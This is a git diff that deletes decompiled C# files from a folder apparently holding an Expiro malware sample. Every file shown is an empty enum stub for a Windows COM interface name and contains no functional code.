__MIDL_IInternetSecurityManager_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetSecurityManager_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetSecurityManager_0002.cs deleted file mode 100644 index 7cc6bf55..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetSecurityManager_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetSecurityManager_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_IInternetSecurityManager_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetSecurityManager_0003.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetSecurityManager_0003.cs deleted file mode 100644 index 9e22d3e3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetSecurityManager_0003.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetSecurityManager_0003 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL_IInternetSecurityManager_0003 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetZoneManager_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetZoneManager_0001.cs deleted file mode 100644 index c68fe56b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetZoneManager_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetZoneManager_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL_IInternetZoneManager_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetZoneManager_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetZoneManager_0002.cs deleted file mode 100644 index 3243dddd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetZoneManager_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetZoneManager_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __MIDL_IInternetZoneManager_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IMenuBand_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IMenuBand_0001.cs deleted file mode 100644 index 71b0cd83..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IMenuBand_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IMenuBand_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __MIDL_IMenuBand_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IMonikerProp_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IMonikerProp_0001.cs deleted file mode 100644 index e60b7f1e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IMonikerProp_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IMonikerProp_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL_IMonikerProp_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_INamespaceWalk_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_INamespaceWalk_0001.cs deleted file mode 100644 index 08cbecb8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_INamespaceWalk_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_INamespaceWalk_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __MIDL_INamespaceWalk_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IOleDocument_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IOleDocument_0001.cs deleted file mode 100644 index eaa21cee..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IOleDocument_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IOleDocument_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_IOleDocument_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IPrint_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IPrint_0001.cs deleted file mode 100644 index b0718de4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IPrint_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IPrint_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __MIDL_IPrint_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_ISearchCommandExt_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_ISearchCommandExt_0001.cs deleted file mode 100644 index 19da6d83..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_ISearchCommandExt_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_ISearchCommandExt_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum __MIDL_ISearchCommandExt_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IShellItem_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IShellItem_0001.cs deleted file mode 100644 index ad4c65e4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IShellItem_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IShellItem_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum __MIDL_IShellItem_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IShellItem_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IShellItem_0002.cs deleted file mode 100644 index 6ee583a2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IShellItem_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IShellItem_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL_IShellItem_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IShellPropSheetExt_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IShellPropSheetExt_0001.cs deleted file mode 100644 index ad3b567f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IShellPropSheetExt_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IShellPropSheetExt_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL_IShellPropSheetExt_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_objidl_0055_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_objidl_0055_0001.cs deleted file mode 100644 index a9c68d6b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_objidl_0055_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_objidl_0055_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum __MIDL___MIDL_itf_objidl_0055_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_objidl_0055_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_objidl_0055_0002.cs deleted file mode 100644 index 6562c5af..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_objidl_0055_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_objidl_0055_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL___MIDL_itf_objidl_0055_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0201_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0201_0001.cs deleted file mode 100644 index 8a3fde7a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0201_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0201_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL___MIDL_itf_shobjidl_0201_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0202_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0202_0001.cs deleted file mode 100644 index e240e726..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0202_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0202_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL___MIDL_itf_shobjidl_0202_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0202_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0202_0002.cs deleted file mode 100644 index 9eb61fa3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0202_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0202_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum __MIDL___MIDL_itf_shobjidl_0202_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0202_0004.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0202_0004.cs deleted file mode 100644 index 46583d17..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0202_0004.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0202_0004 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum __MIDL___MIDL_itf_shobjidl_0202_0004 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0202_0005.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0202_0005.cs deleted file mode 100644 index ff4d9357..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0202_0005.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0202_0005 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum __MIDL___MIDL_itf_shobjidl_0202_0005 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0209_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0209_0001.cs deleted file mode 100644 index 868b079e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0209_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0209_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __MIDL___MIDL_itf_shobjidl_0209_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0209_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0209_0002.cs deleted file mode 100644 index b042172c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0209_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL___MIDL_itf_shobjidl_0209_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL___MIDL_itf_shobjidl_0209_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_shobjidl_0209_0003.cs 